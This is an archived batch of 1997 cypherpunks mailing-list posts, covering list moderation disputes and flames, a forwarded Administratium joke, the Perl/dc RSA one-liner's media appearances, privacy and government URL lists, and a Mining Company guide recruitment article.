From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Feb 1997 18:00:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: this has gone on long enough
In-Reply-To: <199702110042.QAA02191@toad.com>
Message-ID: <FmuX2D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

> Everybody relax, take a deep breath, and calm down a bit.  Paranoia seems
> epidemic on the list these days.

Given the recent activities by John Gilmore, extreme mistrust is in order.
John, you are a lying asshole and your reputation is shit.

By the way: a number of people asked me for the references on some of the
new codes which I believe will replace factorization. Check out US Patent
5,577,124, "A Multi-Purpose High Speed Cryptographically Secure Sequence
Generator Based on One-Way Zeta Functions". Very exciting reading.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Mon, 10 Feb 1997 13:45:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: BCQ B/\ACTb COBKAM!!!
Message-ID: <19970210204708.13811.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


COBKU rule!!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Mon, 10 Feb 1997 19:03:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting Survey on Computer Security
Message-ID: <32FFE1C0.4FE3@sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


This artilce has some interesting info on how bad infosec on the web is.
<http://www.infowar.com/infosec/introduction.html>
---DS




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 10 Feb 1997 21:38:01 -0800 (PST)
To: gomez@BASISINC.com
Subject: [Fwd: FWD Adm Humor]
Message-ID: <33001458.39FC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: message/rfc822


To: rowan talk <rt@majordomo>
Subject: FWD Adm Humor
From: Nick Schmelz <schmelz@jupiter.rowan.edu>
Date: Fri, 7 Feb 1997 15:37:55 -0500 (EST)
Resent-Date: Mon, 10 Feb 1997 18:44:02 EST
Resent-From: <LARRIER@rowan.edu>
Resent-Message-Id: <199702102230.RAA16773@news.rowan.edu>
Resent-To: toto@orion.sk.sympatico.ca
Sender: owner-rt@jupiter.rowan.edu

---------- Forwarded message ----------
From:	HEROES::FITZGERALD    7-FEB-1997 14:18:16.47
To:	SCHMELZ
CC:	
Subj:	Administratiave Humor

           From: "Curt Denny" <adr016@clc.cc.il.us>

The heaviest element known to science was recently discovered by GM
Research physicists.  The element, tentatively named Administratium, has
no protons or electrons and thus has an atomic number of zero.  However,
it does have one neutron, 125 assistant neutrons, 75 vice neutrons, and
111 assistant vice neutrons.  This gives it an atomic number of 312. 
These particles are held together by a force that involves the
continuous exchange of meson-like particles known as morons.

Since it has no electrons, Administratium is inert.  However, it can be
detected chemically because it impedes every reaction it comes in
contact with.  According to the discoverers, a minute amount of
Administratium caused one reaction to take four days to complete when it
would have normally occurred in less than one second.  Administratium
has a normal half-life of approximately three years, at which time it
does not actually decay, but instead undergoes a reorganization in which
assistant neutrons exchange places.  Some studies have shown that the
atomic mass actually increases after each organization.

Research at other laboratories indicates that Administratium occurs
naturally in the atmosphere.  It tends to concentrate at certain points
such as government agencies, large corporations and universities, and
can usually be found in the newest, best appointed and best maintained
buildings.

Scientists point out that Administratium is known to be toxic at any
detectable level of concentratitroy any productive
reaction where it is allowed to accumulate.  Attempts are being made to
determine how Administratium can be controlled to prevent irreversible
damage, but results to date are not promising. 

                               Check us out at:
                           http://www.clc.cc.il.us


     "There is no limit to the amount of good that people can accomplish if they don't care who gets the credit!"

Curtis L. Denny
College of Lake County
Director of Admission and Records
19351 West Washington Street
Grayslake, IL 60030-1198
Phone:  (847) 223-6601, Ext. 2384
Fax:    (847) 223-1017
E-Mail:  CurtDenny@clc.cc.il.us









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 16 Feb 1997 09:43:28 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Crypto code published in magazines
In-Reply-To: <199702161254.HAA10775@upaya.multiverse.com>
Message-ID: <199702102359.XAA01086@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Peter Gutmann <pgut001@cs.auckland.ac.nz> writes:
> I'm trying to find instances of crypto code published in computer
> magazines i n the last few years.  I know of Blowfish in DDJ, are
> there cases of more mainstream computer mags like Byte publishing
> crypto code (I know Byte did DES in 1977, I'm hoping for something a
> bit more recent)?.

Well this code (an implementation of RSA) appeared in UK Computer
Shopper (largest readership computer mag in UK) by Charlie Stross:


print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`


(actually it was some earlier version of the code)

Other media appearances include:

- A picture of the shirt in Nova magazine (a French publication)
- Shirt on Nulle Part Ailleurs (French cabal TV talk show)
- Shirt Japanese edition of Wired 
- Shirt in US version of Wired
- Richard White's tattoo of the program in UK Wired
- Shirt in BBC Open Univ program (educational program on encryption)
- Picture of label with program on New York Times

All of those apart from the last would probably be readable from the
source code, or from the bar code.  [Do KISS do image enhancement
also?  :-)]

(some pics on: 

	http://www.dcs.ex.ac.uk/~aba/shirt/media.html
	http://www.dcs.ex.ac.uk/~aba/rsa/

)

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Mon, 10 Feb 1997 23:54:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] PGP Signatures
Message-ID: <199702110754.AAA04078@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dick Vitriol K'ock`OfTheMonth grew a beard to look like his mother.

        _
       / '
      |
   /><oo><\ Dick Vitriol K'ock`OfTheMonth
  //[ `' ]\\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 10 Feb 1997 22:06:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Consumer Privacy URL...
Message-ID: <TCPSMTP.17.2.11.1.15.44.2780269260.1513850@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Forwarded message:

 In> Subject: Consumer Privacy Online

 In> The January issue of the Computer Law Observer discusses privacy of
 In> online consumer information. The article is called "Your clickstream
 In> is showing" and is based upon a report issued by the FTC in January.

 In> The article can be found under "Current Issue" at
 In> http://www.lawcircle.com/observer

 In> There is also an announcement at the site for a new weekly service
 In> called the Computer Law Observerpro, which provides selected weekly
 In> articles discussing computer, technology and cyberlaw issues.


Ciao

Harka
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMv678jltEBIEF0MBAQE8LAf+NljN3C5JOG3ZF+ugZFWMeLtvu2fTmJPb
32s9VXgg82XdeP1QlEZVtfjHQSznCUCy+7BVAqAera38r6sY6cQzPSqA4nM2vQzH
jSahFxXH07zFJ3SRPccTB1QnIm2fcoz7f3u+Y0qFTU+y1arsBCSwl/AFtip4ShtQ
jU1zGNnzGMCpxWLJ2gzXkZLAUSZ/RTpph72ByTi3mwczo7hu5I2KCFWrvMSSlxMS
FZEZa3EyOatvrmAD2MSWd3lUKL5ubkwfd717V/Hb5zn7UW4Ri4wDohcxR4zxYnm/
36euGJNrM0aY/CFDu75KNgJiRXc4TDpiFuNYzsnOOeK490xVSSDEHw==
=Y0C2
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Mon, 10 Feb 1997 23:33:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cryptography WWW Siteguide wanted.
Message-ID: <3.0.16.19970211013444.448fe33c@mailhost.primenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Mining Co. (http://www.miningco.com) is looking
for "siteguides".

There will surely be a guide needed for cryptography.

Pay is commensurate with hit volume, but it isn't too shabby,
at about 3K per month after about a year.

There is the original posting from Sideman's Online Insider following
this post to acquaint you with the particulars.

Good Luck to whomever from this list (for I'm sure someone will) 
takes the aformentioned position. I would, but I'm applying for a 
different site in the Culture/Beliefs section.

On one other note, the PGP Plugin for Eudora is MARVELOUS!
THIS I can even teach a clueless newbie!

Carol Anne Cypherpunk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Uncensored from heavily.censored.org

iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8
q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG
CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI
i962UdPbyVs=
=69D8
-----END PGP SIGNATURE-----

==========================================================================
                Seidman's Online Insider - Vol. 4, Issue 6
     Brought to you by NetGuide Magazine< http://www.netguide.com >
==========================================================================

Copyright (C) 1997 Robert Seidman and CMP Media Inc.  All rights reserved.
May be reproduced in any medium for noncommercial purposes as long as
attribution is given.


Kurnit is Back and Mining the Internet
======================================

  "Like Arnold, he'll be back. I've been listening to what
he has to say for a long time. If you listen to him, you'll
hear how the Web is the way and that the proprietary services
are a dead model. If you listen between-the-lines, you'll hear
a modified version of that vision. A best of both worlds
vision. You'll hear that he wants to develop easy to use,
functional services on the Web. Like easy to use chat.
Like easy to use bulletin boards.

Like AOL, but on the Web."

-Thoughts on Scott Kurnit in a piece regarding the failed MCI/News Corp
joint venture from Seidman's Online Insider for the Week Ending February
9, 1996.

Kurnit's back, and almost exactly a year to the day since the clip above
was written.  On Monday February 10, the new company Kurnit founded, The
Mining Company, will announce their plans to basically build AOL on the
Web.  I'm not sure about the choice of February 10 as the day to announce
this.  It is a day with special significance for me.

On February 10, 1972 I had a dilemma.  I was hungry for breakfast and
wanted some cereal.  I had cereal, but no milk.  So I called my mom at
work and asked her if I could run across the street to the convenience
store.  My mom said no because "the street" was more like a highway and
because I was 9 years old.

"You'll get hit by a car," my mom said.  As you might imagine, I went
anyway.  And as you also might have guessed by now my mother was right,
except no car was good enough for me.  I had to face off with a
ten-wheeler (it was an Amoco < http://www.amoco.com > Oil tanker.)
Twenty-two stitches in the head, a healed broken wrist and 25 years later,
I'm still hanging in there.  I don't remember anything about it, including
seeing the truck.  I've always wondered if I was pushed.  What I do
remember was waking up in the ambulance with quite a headache.  But since
then, seeing how I lived and all, I've always viewed February 10 as a GOOD
day.

The Mining Company may not be a truck setting its sights on running down
AOL or even other Web content aggregators (even to some degree NetGuide
Live), but it is an interesting model.

*What It Is*

In effect, The Mining Company wants to be the biggest online service on
the Web, ultimately offering 4,000 special-interest areas in an
integrated, easy-to-use interface.  Whether you call these special areas
channels, departments or categories -- it's all the same thing.  Kurnit
wants to capitalize on the fact that it takes too long to find what you
want on the Net.  He wants to put it all in one place with one consistent
interface so that you can easily find what you're looking for and interact
with those who have common interests.

Each "channel" will have content, bulletin boards, online chats, links to
other good stuff on the Web in the particular area of interest.  You'll
also be able to search a site via Verity's search engine or search the
entire Net via Digital's Alta Vista.

While they are currently testing another chat product, they have decided
to move to the iChat chat client.

In the test system I had access to, the bulletin board system was very
easy to use, but painfully slow.  I'll cut them some slack since they are
still in beta, but users will need to be able to move around the boards
quicker than what I experienced or they will likely be put off.

*And Now for Something Really Different*

When Kurnit first ran the vision by me a couple of weeks ago, I said "To
me it seems like this is..."

"AOL on the Web," Kurnit interrupted.

"Not exactly," I said, "It's like AOL on the Web with a hint of Amway
thrown in."

One of the problems with providing editorial context for the Net is that
it winds up costing a lot of money.  Kurnit's previous venture with
MCI/Newscorp was iGuide.  They built a great guide to the Net, but
ultimately they scaled it back to just become a guide to entertainment on
the Net.  You've read the reports all over the place about scaled back
editorial efforts and rightsizing.  Good editorial doesn't come cheap, at
least not when done traditionally.

The Mining Company isn't going after the traditional model of hiring a
bunch of full-time editors and bringing them in house.  They plan to use
folks already out there on the Net.

Once upon a time while I was at IBM, I helped recruit Chris Locke, of
MecklerWeb notoriety away from the MCI/News Corp effort Kurnit was
running.

While there are many things Chris and I do not agree on, I was very much
in synch with Chris when it came to the idea of communities of interest on
the Web.  Give remote people the tools to produce the content, Locke would
say, and you'd be able to easily build hundreds if not thousands of
communities of interest very inexpensively.  Locke who is now with a
hardware company in Colorado will no doubt take interest in what Kurnit
and the gang at The Mining Company are up to, because they are all about
providing the tools to produce the communities of interest inexpensively!
If your chosen as one of its forum moderators (they call them Guides),
you'll be given access to all the tools you need to build a site on the
service.

Now you may be thinking, "Ah, GeoCities does that already!"  GeoCities
< http://www.geocities.com > gives free web pages and is organized around
certain communities of interest.  But their homesteader program is not
about setting up an all-encompassing online service.  And while it is a
great place to create a free web page, there's no real business model for
the person creating the page.  If you build a great site there, GeoCities
gets the revenue on all the traffic that goes there.  Because it has a lot
of traffic, GeoCities can send some traffic to your Web site.  But in the
end, the model for GeoCities is one to give you a free page on the Web.
This is good for you if you're just in it for the fun of it, and good for
GeoCities too.   I think GeoCities is great, but if I am looking for
something in particular, I wouldn't think to look there first.  The Mining
Company wants to create a space that no matter what it is you hope to
find, you'll look there first.

*They Call them Guides*

The Mining Company wants to create quality communities of interest.  And
for every community (channel) created, there will be a unique
moderator/editor.  The Mining Company calls them Guides.  It's looking for
more than just a few quality folks to become Guides and form their
service.  Starting Monday, they will begin accepting applications to
become Guides on the  service. There could be multiple sites about the
same thing during the start-up phase, but  ultimately it will be whittled
down to one Guide/site per special interest.

To ensure quality, they'll be a review committee set-up to make sure
quality standards are up to snuff, including some folks from the community
of Guides.  Kurnit believes between that, the natural inclination for
other Guides to point out areas of, um, weakness and user feedback,
they'll have a good handle on quality.

Additionally, there will be some in-house editorial to oversee major
groupings (like Technology, Personal Finance, etc.)

"The Mining Company is dedicated to serving the needs of its Guides and
users," said Kurnit.  "We give the tools and support to the Guides to help
users find what they want, trust what they find, and connect them with the
most valuable sites on the Net and with other interesting people."

"This model is now only possible because of the team effort at The Mining
Company to integrate the latest improvements in Internet technology and
the newly identified needs of users and independent Web producers," adds
Kurnit.


*Getting the Guides*

Will it be easy to get the ultimately thousands of Guides necessary to run
this service?

"How much talent is out there," asks Kurnit.   "We look at the thousands
of pages out there on AOL, GeoCities, etc., and the rest of the Internet,"
Kurnit said.  "All we think we need to get is 2%-3% of the talent pool."

In certain areas it will likely be very competitive.  Everyone will want
to get there first.

"First there's the application process," said Scott Kurnit in a phone
Interview.  "You're going to show us your bio and you're going to write
some columns so we can see your writing style.  If you make the grade, you
make it to our orientation process," Kurnit said.

The Mining Company places its focus on training the Guides and giving them
the tools they need to make a site.   If you "make the grade" you
basically have 3 weeks (2 of which are the "orientation") to get a site
up-and-running on the service.

"The fact is, if you can't get it done in a reasonable time then you
probably don't have the dedication or time to get it done," says Kurnit.

Just how much time will it take for Guides to put together sites?  "We're
not looking for anyone to quite their day jobs," said Kurnit.  "We're
looking at about a 10 hour a week commitment to produce the sites."  But
Kurnit also says  that though there will be only one Guide per site, the
Guides will be able to line up assistants.



*What's in it for You?*

So why The Mining Company then?   Why not GeoCities or doing it on your
own?  Well, there are a couple of reasons.  One is the promise of
exposure, the other is the promise of MONEY.

There is a model here, especially if you're not looking to quit your day
job.  While I imagine it will have to shift its model somewhat, there are
some opportunities to make a buck or two for the Guides.  It might not be
much money, but if you're already throwing 10 hours or so a week towards
maintaining a Web page that lines up around a special interest or two, any
money is better than what you're probably getting now.

Basically, The Mining Company is looking to allocate 40% of all
advertising revenues back to the Guides themselves.  The real pool here is
30%, with the additional 10% being used for things like bonuses.  So, how
does it work?

Kurnit is looking to get quickly to a million or so page views a day (each
of the pages I saw had 2 advertisements.  By the end of the year, Kurnit
hopes to be in the 10 million - 15 million page views.  It sounds a little
ambitious, but if they're successful lining up quality Guides, it could
become a reality.  So let's say they're getting 5 million page views per
day.  Based on what I saw, that would net out to be about 300 million ads
running per month.

Lets say ad sales average out to $30/1000 (a $30 CPM).  Based on that,
you're looking at a cool $9 million a month in advertising revenue.  So
$3.6 million is in the Guide pool, but only $2.7 million is for the true
revenue split.  Now, let's say you're a Guide who got one-tenth of 1
percent of The Mining Company's overall traffic. You'd make a cool $2,700
a month for your efforts.  If you happen to be a guide in one of the
"killer categories" whether it be a parents site or a kids site or a
computing site, it's not unreasonable to think that you might get as much
as 1%.  That would be $27,000 per month!!

Some people will balk at the 40%-60% share, but I think that's pretty
fair.  Where I'd predict the model will have to change, however, is in the
cases where the cost per thousand (CPM) view being charged the advertisers
is much higher than the average of the overall site.  If the overall site
average is $30/1000, but your site is generating a CPM of around $90,
you're probably not going to want to be paid based on averages.

*Will it Work?*

In short, I think this could work quite nicely.  The premise of a front
door that links to content that is all packaged with a consistent look and
feel is a winning premise.   With AOL's recent move to flat-fee, one big
advantage a Net service has over a proprietary model like AOL is the
ability to create content far more easily and inexpensively. Much coverage
has been given this week regarding AOL beginning to charge its partners in
its Company Connection a $55,000 fee each year to participate.

Some in AOL are saying its reasonable since the areas amount to "free"
advertising for the companies, but realistically speaking, I think it is a
maintenance fee AOL is charging to offset the cost of dealing with these
forums.  I think it is reasonable to expect to see AOL begin to charge
similar fees for any content that isn't "must have" for them, now that the
hourly charges that once subsidized these areas are gone.  There is a cost
of throwing in-house support at these online areas and much of the cost is
due to the fact that it's a proprietary system.  Setting up new "forms"
and new looks just isn't easily accomplished by the content providers
themselves.  So, the timing may be good for The Mining Company.

There are at least two tricks Kurnit and Co. must pull off.  First, they
have to get the Guides.  That starts on Monday, when they begin accepting
applications.  The next will be to market the site in a way that gets
people to the front door.   Internet of the people, for the people and by
the people, it has a nice ring to it...  I'm sure we'll hear more about
this when the site officially launches in April.

For more info, check out < http://www.miningco.com >, sometime on Monday,
they will make a lot more information available there than the "coming
soon" that was there as of this writing.
Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 10 Feb 1997 23:28:15 -0800 (PST)
To: dsmith@prairienet.org (David E. Smith)
Subject: Re: Metzger, Denninger square off
In-Reply-To: <199702080056.QAA05207@toad.com>
Message-ID: <199702110746.BAA00783@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 01:24 PM 2/7/97 -0500, you wrote:
> [the proposed new TLDs]
> .web    Actually a good idea :) A lot of the .com congestion is
>         from companies that are virtually-hosted for the sole
>         purpose of running a Web site with the www. prefix.

     This one might not work. There are a lot of people who seem to think that
you need a www.---.--- to get netscape to work.

> .nom    Nah. Just not classy enough.  Now, a .nym TLD... :-)

     I think they should use .vain. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gbroiles@netbox.com
Date: Tue, 11 Feb 1997 00:58:39 -0800 (PST)
To: gbroiles@netbox.com
Subject: Proposal: alt.cypherpunks (unmoderated)
Message-ID: <855650862.27942@dejanews.com>
MIME-Version: 1.0
Content-Type: text/plain



[This is a courtesy copy of an article posted to Usenet via Deja News]

Some people, including myself, believe that the Cypherpunks mailing list
(cypherpunks@toad.com), running since sometime in 1992, has outgrown the
mailing list format and should move to Usenet. The advantages once gained
by running as a mailing list (faster propagation, more personal/intimate
atmosphere, freedom from Usenet-style flames & spams) are no longer
present. Questions about the appropriateness of moderation, moderator
liability for various "bad" kinds of messages, and the potential for
content control  where there is a single point for distribution have
become very prominent concerns among list members. It's time to move to
Usenet.

Hence, this prelude to a newgroup.  Two cypherpunk-related newsgroups now
exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks
is unsatisfactory to become a destination for Usenet-originated
cypherpunk traffic because its name implies that it's a gateway from a
mailing list. This is presently true, but this proposal is intended to
create a newsgroup which supplements or replaces the current mailing
list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates,
who's in charge of it, or what "jyu.ohjelmointi" is or stands for.
Judging from the limited selection of messages which seem to reach
DejaNews and AltaVista from it, it suffers from relatively poor
propagation.

The cypherpunks mailing list currently has approximately 1300
subscribers, sees traffic between 30 and 70 messages per day (est.), and
on its better days discusses technological defenses for privacy in an
information age. Popular topics include encryption, legal issues around
encryption and export control, and the relationship between technology
and social control.

A sample line for the newsgroups file:

alt.cypherpunks  Technological defenses for privacy

-------------------==== Posted via Deja News ====-----------------------
      http://www.dejanews.com/     Search, Read, Post to Usenet




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 11 Feb 1997 00:13:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Military/Intelligence URL
Message-ID: <TCPSMTP.17.2.11.3.22.32.2780269260.1513985@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Here an page, that deals with various intelligence and military
institutions...


 In> Subject: GOVT> AJAX, Government and Military Intelligence

 In> http://204.180.198.56:80/ajax/ajax.htm

 In> United States and International Government Military and Intelligence
 In> Agency Access

 In> Certain Locations Or Sections Thereof May Be Closed To
 In> Unauthorized Use.
 In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM.
 In> (If You Prefer A Frameless Environment, Click HERE.)
 In> Last update: 7 FEBRUARY 1997. All accesses verified at
 In> time of inclusion.

 In> CIA                  Central Intelligence Agency
 In> DIA                  Defense Intelligence Agency
 In> NRO                  National Reconnaissance Office
 In> NSA                  National Security Agency
 In> SS                   Secret Service
 In> USCSOI               U.S. Customs Service Office of Investigation

 In> ATF                  Bureau of Alcohol, Tobacco and Firearms
 In> BOP                  Federal Bureau of Prisons
 In> CID                  U.S. Army Criminal Investigation Command
 In> COURTS               U.S. Federal Courts
 In> FBI                  Federal Bureau of Investigation
 In> FINCEN               Financial Crimes Enforcement Network
 In> FLETC                Federal Law Enforcement Training Center
 In> MARSHALS             U.S. Marshals Service
 In> NIJ                  National Institute of Justice
 In> ACC                  Air Combat Command
 In> AFSPC                Air Force Space Command
 In> BMDO                 Ballistic Missile Defense Organization
 In> DEFENSE              Defense Department
 In> DISA                 Defense Information Systems Agency
 In> DRMS                 Defense Reutilization and Marketing Service
 In> DTIC                 Defense Technical Information Center
 In> JCS                  Joint Chiefs of Staff
 In> NAVWAN               Naval Aviation Systems Team Wide Area Network
 In> NAWCWPNS             Naval Air Warfare Center Weapons Division
 In> NSWC                 Naval Surface Warfare Center
 In> USAFA                United States Air Force Academy

 In> AHPCRC               Army High Performance Computing Research Center
 In> ARPA                 Advanced Research Projects Agency
 In> LABLINK              U.S. Department of Defense Laboratory System
 In> NRL                  The Naval Research Laboratory RL
 In> USAF                 Rome Laboratory for C41 Technology
 In> USACIL               U.S. Army Criminal Investigation Laboratory

 In> NATGUARD             Army and Air National Guards
 In> USA                  United States Army
 In> USAF                 United States Air Force
 In> USCG                 United States Coast Guard
 In> USMC                 United States Marine Corps
 In> USN                  United States Navy

 In> EPA                  U.S. Environmental Protection Agency
 In> FAA                  Federal Aviation Administration Technical Center
 In> FCC                  Federal Communications Commission
 In> FTC                  Federal Trade Commission
 In> NMFS                 National Marine Fisheries Service
 In> NRC                  Nuclear Regulatory Commission
 In> SEC                  Securities and Exchange Commission
 In> CDC                  Centers for Disease Control and Prevention
 In> CENSUS               U.S. Department of Commerce Bureau of the Census
 In> CONGRESS             U.S. House of Representatives
 In> CUSTOMS              U.S. Customs Service
 In> DOE                  U.S. Department of Energy  National Laboratories
 In> & Programs
 In> EXECUTIVE            The White House
 In> FDIC                 Federal Deposit Insurance Corporation
 In> FEMA                 Federal Emergency Management Agency
 In> FMS                  Financial Management Service
 In> GPO                  U.S. Government Printing Office
 In> GSA                  U.S. General Services Administration
 In> HHS                  U.S. Department of Health and Human Services
 In> HPCC                 NOAA High Performance Computing and
 In> Communications IRS                  Internal Revenue Service
 In> JUSTICE              Justice Department
 In> NARA                 National Archives and Records Administration
 In> NASA                 National Aeronautics and Space Administration
 In> NCDC                 National Climatic Data Center
 In> NIMH                 National Institute of Mental Health
 In> NOAA                 National Oceanic & Atmospheric Administration
 In> NSF                  National Science Foundation
 In> NTIS                 National Technical Information Service
 In> SBA                  Small Business Administration
 In> SEL                  Space Environment Laboratory
 In> STATE                State Department
 In> TREASURY             Treasury Department
 In> USCODE               U.S. House of Representatives
 In> Internet Law Library U.S. Code

 In> CANADA
 In> CSE                  Communications Security Establishment
 In> CISC                 Criminal Intelligence Service Canada
 In> CSIS                 Canadian Security Intelligence Service
 In> SIRC                 Security Intelligence Review Committee
 In> UNITED KINGDOM       CIM Central Intelligence Machinery

 In> CANADA
 In> DJC                  Department of Justice of Canada
 In> FORENSIC             The Forensic Web
 In> RCMP                 Royal Canadian Mounted Police
 In> SGC                  Solicitor General of Canada

 In> UNITED NATIONS       UNCPCJ United Nations Crime Prevention &
 In> Criminal Justice

 In> CANADA
 In> CFC                  Canadian Forces College
 In> DREO                 Defense Research Establishment, Ottawa

 In> UNITED KINGDOM
 In> ARMY                  The British Army
 In> CDA                   Centre for Defence Analysis
 In> DRA                   Defence Research Agency

 In> NATO                  North Atlantic Treaty Organization
 In> SACLANT               Supreme Allied Commander, Atlantic
 In> SHAPE                 Supreme Headquarters Allied Powers Europe

 In> BECCA                 Business Espionage Controls & Countermeasures
 In> Association
 In> CRYPTOLOG             Internet Guide to Cryptography
 In> DCJFTF                Washington, D.C. Joint Fugitive Task Force
 In> WANTED                "The World's Most Wanted" (Fugitives and
 In> Unsolved Crimes)


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMv7aGjltEBIEF0MBAQF1CAf+MyLUa3sBKCAuxhzCZ0tQqP3jxAjQpIuV
WdsTCW9L3jPwLdZ9BmqeqAuaIU4JQzCpEx5bgKdzGThF5mG2U4XaeOcD4gBpWZyz
sYOZzcoYNe6CX6m55a9UqiEpZu4mK9TBkO7OXSfV3J3CygVAbo7zjC+lW2r7L9F8
3vTqrxbOCb3SMEl4k3L5QVtKOGVSh7MMIesBtmQ2SNhhvSfrdFYBnCcvtmnvYi8j
6YpI5wrkiNzueuFwoD9YoRR7UugE5kcCyJ3FFHym7RzQUL8XsHRhsk1XoTBHvXni
2Tfno7DH5+T4FuVZTWeaAVhD7OTfK2n0lBCf0x2I5F1iEUurbdddig==
=s4om
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 03:54:36 -0800 (PST)
To: cypherpunks, gnu
Subject: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111154.DAA16237@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy hit a pothole in the moderation experiment when Mr. Nemesis
submitted a posting containing nothing but libelous statements about
Sandy's employer.  He never anticipated that he wouldn't be able to
follow his announced "post it to one list or the other" policy because
to do so would make him legally liable (in his opinion; he's a lawyer,
I'm not).  His gears jammed, and the whole machine came to a halt for
a few days.

Sandy has agreed to continue moderation through the end of the
original 1-month experiment (through Feb 19).  And it's a good thing,
too, because the "cypherpunks community" had better get off its
whining butt in the next ten days, or it will no longer exist.

I've come to the conclusion that I'm not willing to host the
cypherpunks list any more.  It's not the true assholes that brought me
to this decision; it's the reaction from the bulk of people on the
list: suspicion, flamage, and criticism with every attempt to improve
things.  I noticed few people volunteering some of their own time,
money, or machines to help out.  Almost all the suggestions were
advice for *other* people to implement:

                One would have thought that had Sandy and John really
    been interested in hearing the views of list members, this approach would
    have eventually won out.

    a supposedly libertarian and anarchistic group of people has decided
    that censorship is the right solution to their problems.

							I'd prefer
    for the cypherpunks _name_ not be associated with a moderated/censored
    list. (I mean no insult to either Sandy or John in this, BTW... I
    simply think that they've gone about this the wrong way.

    If one is going to advocate free speech, I strongly suggest one
    learns to deal with one's own greed and one's own need for power
    first.

    For those who want it, let someone moderate the list for as long as
    they care to do it. Approved messages get a "X-sandy-approved"
    header.

    ... the vast majority are still shipped out as 'Sender:
    owner-cypherpunks@toad.com' (and the 'Received' chain as I pointed
    out in my original post). to me that is piss poor list management.

        however you slice it, censorship on a freedom of speech list
    just does not make it and we make fools of ourselves if we think
    otherwise.

Now each of these posters will get their chance to do it "right" --
on their own time and with their own resources.

